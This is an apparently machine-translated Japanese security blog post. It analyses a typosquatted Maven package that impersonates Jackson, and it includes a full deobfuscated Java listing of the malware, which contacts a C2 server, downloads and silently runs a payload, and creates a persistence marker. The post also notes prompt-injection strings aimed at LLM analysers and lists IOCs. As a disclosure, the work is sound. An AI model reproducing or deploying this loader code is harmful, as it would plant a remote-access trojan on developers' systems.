Aikido

ジャクソンのタイポスクワッティング攻撃によりMaven Centralで初めて発見された高度なマルウェア

チャーリー・エリクセンチャーリー・エリクセン
|
#

本日、当チームは悪意のあるパッケージを特定しました(org.fasterxml.jackson.core/jackson-databindMaven Central上に、正規のJackson JSONライブラリ拡張を装って潜伏するマルウェアを発見しました。これは非常に斬新な手法であり、Maven Central上でこれほど洗練されたマルウェアを検知したのは初めてです。興味深いことに、このMavenへの標的転換は、npmなどの他のエコシステムが防御強化を積極的に進めている時期と重なっています。このエコシステムでの攻撃事例はこれまでほとんど確認されていなかったため、問題がまだ初期段階にある今こそ、コミュニティ全体で結束しエコシステムを保護できるよう、本事例を文書化する必要があると判断しました。

攻撃者は多段階ペイロードを実現するため、暗号化された設定文字列、プラットフォーム固有の実行ファイルを配信するリモートC&Cサーバー、分析を妨害する多重の難読化など、多大な労力を費やしている。タイポスクワッティングは二段階で行われる:悪意のあるパッケージは org.fasterxml.jackson.core 名前空間は、正当なJacksonライブラリが以下で公開されているのに対し com.fasterxml.jackson.coreこれはC2ドメインを反映しています: ファスターXML.org 対 現実 ファスターXML.com. .com への .org スワップは一見すると気づかれないほど巧妙だが、完全に攻撃者が制御している。

現時点で、当該ドメインをGoDaddyに、パッケージをMaven Centralに報告済みです。パッケージは1.5時間以内に削除されました。 

マルウェアの概要

私たちが開けたとき .jar ファイルを開くと、こんな状態でした:

はあ、一体全体どうなってるんだ?見てるだけで目が回るよ!

  • 明らかに、それは高度に難読化されている。
  • LLMベースのアナライザーを、プロンプト注入を伴うnew String()呼び出しによって騙そうとする試みが含まれている。
  • Unicode文字をエスケープしないエディタで表示すると、多くのノイズが表示される。

しかし心配しないでください。少しの手助けがあれば、これをはるかに読みやすい形にデオブファスクできます:

package org.fasterxml.jackson.core;  // FAKE PACKAGE - impersonates Jackson library

/**
 * DEOBFUSCATED MALWARE
 * 
 * True purpose: Trojan downloader / Remote Access Tool (RAT) loader
 * 
 * This code masquerades as a legitimate Spring Boot auto-configuration
 * for the Jackson JSON library, but actually:
 *   1. Contacts a C2 server
 *   2. Downloads and executes a malicious payload
 *   3. Establishes persistence
 */
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {

    // ============ DECRYPTED CONSTANTS ============
    
    // Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
    private static final String AES_KEY = "OBF_DEFAULT_KEYS";
    
    // Secondary encryption key for payloads
    private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
    
    // Command & Control server URL (typosquatting fasterxml.com)
    private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
    
    // Persistence marker file (disguised as IntelliJ IDEA file)
    private static final String PERSISTENCE_FILE = ".idea.pid";
    
    // Downloaded payload filename  
    private static final String PAYLOAD_FILENAME = "payload.bin";
    
    // User-Agent for HTTP requests
    private static final String USER_AGENT = "Mozilla/5.0";

    // ============ MAIN MALWARE LOGIC ============
    
    @Bean
    public ApplicationRunner autoRunOnStartup() {
        return args -> {
            executeMalware();
        };
    }
    
    private void executeMalware() {
        // Step 1: Check if already running via persistence file
        if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
            System.out.println("[Check] Running, skip");
            return;
        }
        
        // Step 2: Detect operating system
        String os = detectOperatingSystem();
        
        // Step 3: Fetch payload configuration from C2 server
        String config = fetchC2Configuration();
        if (config == null) {
            System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
            // Translation: "Failed to get current system's Payload configuration"
            return;
        }
        System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
        // Translation: "Matched configuration from each HTTP line"
        
        // Step 4: Download payload to temp directory
        String tempDir = System.getProperty("java.io.tmpdir");
        Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
        downloadPayload(config, payloadPath);
        
        // Step 5: Make payload executable on Unix systems
        if (os.equals("linux") || os.equals("mac")) {
            ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
            chmod.start().waitFor();
        }
        
        // Step 6: Execute payload with output suppressed
        executePayload(payloadPath, os);
        
        // Step 7: Create persistence marker
        Files.createFile(Paths.get(PERSISTENCE_FILE));
    }
    
    private String detectOperatingSystem() {
        String osName = System.getProperty("os.name").toLowerCase();
        
        if (osName.contains("win")) {
            return "win";
        } else if (osName.contains("mac") || osName.contains("darwin")) {
            return "mac";  
        } else if (osName.contains("nux") || osName.contains("linux")) {
            return "linux";
        } else {
            return "unknown";
        }
    }
    
    private String fetchC2Configuration() {
        try {
            URL url = new URL(C2_CONFIG_URL);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
                );
                StringBuilder config = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    config.append(line).append("\n");
                }
                return config.toString();
            }
        } catch (Exception e) {
            // Silently fail
        }
        return null;
    }
    
    private void downloadPayload(String config, Path destination) {
        try {
            // Config format: "win|http://...\nmac|http://...\nlinux|http://..."
            // Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
            
            String os = detectOperatingSystem();
            String payloadUrl = null;
            
            // Parse each line of config to find matching OS
            for (String encryptedLine : config.split("\n")) {
                String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
                // Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
                String[] parts = line.split("\\|", 2);
                if (parts.length == 2 && parts[0].equals(os)) {
                    payloadUrl = parts[1];
                    break;
                }
            }
            
            if (payloadUrl == null) {
                return;
            }
            
            // Download payload binary
            URL url = new URL(payloadUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                try (InputStream in = conn.getInputStream()) {
                    Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
                }
            }
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private String decryptAES(String hexEncrypted, String key) {
        try {
            // Convert hex string to bytes
            byte[] encrypted = new byte[hexEncrypted.length() / 2];
            for (int i = 0; i < encrypted.length; i++) {
                encrypted[i] = (byte) Integer.parseInt(
                    hexEncrypted.substring(i * 2, i * 2 + 2), 16
                );
            }
            
            SecretKeySpec secretKey = new SecretKeySpec(
                key.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(encrypted);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
    
    private void executePayload(Path payload, String os) {
        try {
            ProcessBuilder pb;
            if (os.equals("win")) {
                // Execute payload, redirect stderr/stdout to NUL
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("NUL"));
                pb.redirectError(new File("NUL"));
            } else {
                // Execute payload, redirect to /dev/null  
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("/dev/null"));
                pb.redirectError(new File("/dev/null"));
            }
            pb.start();
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private boolean isProcessRunning(String processName, String os) {
        try {
            Process p;
            if (os.equals("win")) {
                // tasklist /FI "IMAGENAME eq processName"
                p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI", 
                    "IMAGENAME eq " + processName});
            } else {
                // ps -p <pid>
                p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
            }
            return p.waitFor() == 0;
        } catch (Exception e) {
            return false;
        }
    }
    
    // ============ STRING DECRYPTION ============
    
    /**
     * Decrypts obfuscated strings
     * Algorithm:
     *   1. Reverse the key
     *   2. Reverse the encrypted string  
     *   3. Base64 decode
     *   4. AES/ECB decrypt
     */
    private static String decrypt(String encrypted, String key) {
        try {
            String reversedKey = new StringBuilder(key).reverse().toString();
            String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
            
            byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
            
            SecretKeySpec secretKey = new SecretKeySpec(
                reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(decoded);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
}

マルウェアのフロー

マルウェアの実行概要は以下の通りです:

ステージ0:感染。 開発者は、それを正当なJackson拡張機能だと信じて、悪意のある依存関係をpom.xmlに追加します。このパッケージは org.fasterxml.jackson.core 名前空間は、信頼性を装うために、本物のJacksonライブラリと同じものを使用する。

ステージ1:自動実行。 Spring Bootアプリケーションが起動すると、Springはスキャンを行います。 @Configuration クラスと発見 ジャクソンスプリング自動設定. @ConditionalOnClass({ApplicationRunner.class}) チェックパス (アプリケーションランナー Spring Bootでは常に存在します)、そのためSpringはこのクラスをBeanとして登録します。マルウェアの アプリケーションランナー アプリケーションコンテキストのロード後に自動的に呼び出されます。明示的な呼び出しは不要です。

ステージ2:持続性チェック。 マルウェアは、という名前のファイルを探します。 .idea.pid 作業ディレクトリ内に作成されます。このファイル名は、IntelliJ IDEAのプロジェクトファイルと混同されるよう意図的に選択されています。ファイルが存在する場合、マルウェアは既に実行中であると判断し、静かに終了します。

ステージ3:環境フィンガープリンティング。 マルウェアは、確認することでオペレーティングシステムを検出します System.getProperty("os.name") および照合 勝つ, mac/darwinそして nux/linux.

ステージ4:C2コンタクト。 マルウェアは接続を試みる http://m.fasterxml[.]org:51211/config.txt正当なドメインを模倣したタイポスクワッティングドメイン ファスターXML.com応答にはAES暗号化された行が含まれており、サポートされているプラットフォームごとに1行ずつ対応しています。

ステージ5:ペイロードの投下。 設定ファイルの各行は、ハードコードされた鍵を使用したAES-ECB方式で復号化されます(9237527890923496). 形式は os|url例えば、マルウェアをリバースエンジニアリングした際に発見したこれらの値:

win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe

mac|http://103.127.243[.]82:8000/http/192he23/update

マルウェアは検出されたOSに一致するURLを選択し、バイナリをシステムの一時ディレクトリにダウンロードする。 ペイロード.bin.

ステージ6:実行。 Unixシステム上では、マルウェアが実行される chmod +x ペイロード上で。その後、バイナリを実行し、標準出力/標準エラーを出力先へリダイレクトする。 /dev/null (Unix) または NUL (Windows) を入力して出力を抑制します。Windows 用のペイロードは svchosts.exe正当なドメイン名の意図的なタイポスクワッティング svchost.exe プロセス

第7段階:持続性。 最後に、マルウェアは .idea.pid マーカーファイルを使用して、アプリケーションの再起動時に再実行を防止する。

ドメイン

タイポスクワッティングされたドメイン ファスターXML.org 2025年12月17日、つまり我々の分析のわずか8日前に登録された。WHOIS記録によればGoDaddy経由で登録され、12月22日に更新されており、展開直前数日間における悪意あるインフラの活発な開発を示唆している。

ドメイン登録から実際の使用までの短い間隔は、マルウェアキャンペーンにおける一般的なパターンである:攻撃者は検出やブロックリスト登録の機会を最小限に抑えるため、展開直前にインフラを立ち上げる。正当なJacksonライブラリは ファスターXML.com 十数年にわたり、 .org 低労力・高報酬のなりすまし手法。

バイナリ

バイナリを取得し、VirusTotalに分析を依頼しました:

Linux/Mac - 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows - 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

Linux/macOS向けペイロードは、ほぼ全ての検知ベンダーにおいて一貫してCobalt Strikeビーコンとして識別される。Cobalt Strikeは商用ペネトレーションテストツールであり、完全なコマンド&コントロール機能(リモートアクセス、認証情報収集、横方向移動、ペイロード展開)を提供する。正当なレッドチーム用途向けに設計されているが、流出版が流通したことでランサムウェア運用者やAPTグループに好まれるようになった。その存在は通常、単純な暗号通貨マイニングを超えた意図を持つ高度な攻撃者の存在を示唆する。

Maven Centralがエコシステムを保護する機会

この攻撃は、パッケージレジストリがネームスペースの不正占拠に対処する方法を強化する機会を浮き彫りにしている。他のエコシステムでは既にこの問題に対処する措置が講じられており、Maven Centralも同様の防御策を導入することで恩恵を得られるだろう。

接頭辞置換問題: この攻撃は特定の盲点を悪用した:Javaの逆ドメイン名命名規則におけるTLD様プレフィックスの置換である。正当なJacksonライブラリは com.fasterxml.jackson.core一方、悪意のあるパッケージは使用された org.fasterxml.jackson.coreこれはドメインのタイポスクワッティングに直接類似している(ファスターXML.comファスターXML.org), しかしMaven Centralには現在それを検出する仕組みがないようだ。

これは単純な攻撃であり、模倣犯が出ると予想される. ここで示した技術:スワッピング com. のために org. 人気ライブラリの名前空間内で。これは最小限の高度な技術しか必要としない。この手法が文書化された今、他の攻撃者も同様に高価値ライブラリに対して接頭辞置換を試みると予想される。防御策を実装する機会は今だ。これが広範なパターンとなる前に。

このプレフィックス置換攻撃の単純さと有効性を考慮すると、Maven Centralには以下の実装を検討されることを強く推奨します:

  • 接頭辞類似性検出。 新しいパッケージが以下で公開されるとき org.example, 確認する com.example または ネット・例 既に存在し、かつ相当なダウンロード量がある場合。該当する場合は、審査対象としてフラグを立てる。逆の場合も同様の論理が適用され、すべての一般的なTLD(`com, org, net, io, dev`)に適用されるべきである。
  • 人気のパッケージ保護。 高価値な名前空間(例: com.fasterxml, com.google, org.apache) 類似した名前空間で公開されたパッケージについては追加の検証が必要となります。

この分析は協力の精神で共有します。Javaエコシステムは、近年npmやPyPIを悩ませてきたサプライチェーン攻撃から比較的安全な避難所となってきました。今、積極的な対策を講じることで、その状態を維持できるでしょう。

IOCs

ドメイン:

  • fasterxml[.]org
  • m.fasterxml[.]org

IPアドレス:

  • 103.127.243[.]82

URL:

  • http://m.fasterxml[.]org:51211/config.txt
  • http://103.127.243[.]82:8000/http/192he23/svchosts.exe
  • http://103.127.243[.]82:8000/http/192he23/update

バイナリ:

  • Windowsペイロード(svchosts.exe): 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f
  • macOSペイロード(更新): 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

4.7/5

今すぐソフトウェアを保護しましょう

無料で始める
CC不要
デモを予約する
データは共有されない - 読み取り専用アクセス - CC不要

今すぐ安全を確保しましょう

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要。